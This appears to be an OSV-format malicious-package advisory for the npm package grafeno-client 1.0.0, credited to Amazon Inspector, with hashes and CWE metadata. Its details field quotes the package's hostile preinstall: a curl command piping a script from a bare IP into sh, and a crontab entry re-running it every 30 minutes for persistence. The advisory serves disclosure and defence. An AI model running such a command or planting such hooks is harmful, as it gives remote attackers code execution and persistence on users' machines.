{"id":"MAL-2026-15503","summary":"Malicious code in grafeno-client (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6)\npackage.json declares a preinstall script that runs curl against a bare IP over plain HTTP (http://216.126.236.46/x.sh) and pipes the response to sh, giving the remote host arbitrary code execution on the installer at npm install time. The same preinstall appends a crontab entry (*/30 * * * * curl -s 216.126.236.46/x.sh|sh) that re-fetches and re-executes the remote script every 30 minutes, establishing persistence that survives removal of the npm package. The shipped index.js is a stub, so the manifest is the entire payload.\n","modified":"2026-08-28T23:31:38.881241027Z","published":"2026-08-28T23:01:53Z","database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-019062","import_time":"2026-08-28T23:14:35.378943272Z","modified_time":"2026-08-28T23:01:53Z","sha256":"61f8e4ee9fb4623ef1d751c00c885e412b6e6760d0aaf79c655272a90882ccb6"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/grafeno-client/v/1.0.0"}],"affected":[{"package":{"name":"grafeno-client","ecosystem":"npm","purl":"pkg:npm/grafeno-client"},"versions":["1.0.0"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/grafeno-client/MAL-2026-15503.json","cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."}],"indicators":{"evidence_files":[{"tlsh":"cdf050f0d820f4b32ac901305fa942f6f7e74846090cbc046b06016ce1de3931ebd856","path":"package.json","sha256":"39886a687598877e081aded3d47d72d45eb0654fde563c2541da2d5625891ec8"}],"package_integrity":[{"filename":"grafeno-client-1.0.0.tgz","hashes":{"sha512_sri":"sha512-6LGRgO7bJAuWH8hg4RNFtxcSXpAizmAhlvL1lPo00ei8dT4jO4dMssfTDm4CZGyubgTziTZKBlZEWFeGQp06vQ==","sha1":"cf3385f1f3d42086a94131e224c66493f08b2617"}}]}}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}